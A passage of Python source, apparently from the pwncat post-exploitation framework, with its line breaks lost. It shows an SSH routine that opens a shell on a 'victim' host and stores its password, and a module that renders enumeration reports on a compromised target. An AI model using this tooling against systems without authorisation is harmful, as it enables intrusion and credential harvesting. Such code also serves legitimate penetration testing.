paramiko.RSAKey.from_private_key_file(args.identity) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file( args.identity, password) # Attempt authentication try: t.auth_publickey(user, key) except paramiko.ssh_exception.AuthenticationException as exc: console.log( f"[red]error[/red]: authentication failed: {exc}") else: try: t.auth_password(user, password) except paramiko.ssh_exception.AuthenticationException as exc: console.log( f"[red]error[/red]: authentication failed: {exc}") if not t.is_authenticated(): t.close() sock.close() return # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() # Initialize the session! pwncat.victim.connect(chan) if user in pwncat.victim.users and password is not None: console.log(f"storing user password") pwncat.victim.users[user].password = password else: console.log("user not found in database; not storing password") else: console.log(f"[red]error[/red]: {args.action}: invalid action")
def run(self, session: "pwncat.manager.Session", output, template, fmt, custom): """Perform enumeration and optionally write report""" if custom: env = jinja2.Environment( loader=jinja2.FileSystemLoader(os.getcwd()), # autoescape=jinja2.select_autoescape(["md", "html"]), trim_blocks=True, lstrip_blocks=True, ) else: env = jinja2.Environment( loader=jinja2.PackageLoader("pwncat", "data/reports"), # autoescape=jinja2.select_autoescape(["md", "html"]), trim_blocks=True, lstrip_blocks=True, ) if template == "platform name": use_platform = True template = session.platform.name else: use_platform = False env.filters["first_or_none"] = lambda thing: thing[0 ] if thing else None env.filters["attr_or"] = ( lambda fact, name, default=None: getattr(fact, name) if fact is not None else default) env.filters["title_or_unknown"] = ( lambda fact: strip_markup(fact.title(session)) if fact is not None else "unknown") env.filters["remove_rich"] = lambda thing: strip_markup(str(thing)) env.filters["table"] = self.generate_markdown_table try: template = env.get_template(f"{template}.{fmt}") except jinja2.TemplateNotFound as exc: if use_platform: try: template = env.get_template(f"generic.{fmt}") except jinja2.TemplateNotFound as exc: raise ModuleFailed(str(exc)) from exc else: raise ModuleFailed(str(exc)) from exc # Just some convenience things for the templates context = { "target": session.target, "manager": session.manager, "session": session, "platform": session.platform, "datetime": datetime.datetime.now(), } try: if output != "terminal": with open(output, "w") as filp: template.stream(context).dump(filp) else: markdown = Markdown(template.render(context), hyperlinks=False) console.print(markdown) except jinja2.TemplateError as exc: raise ModuleFailed(str(exc)) from exc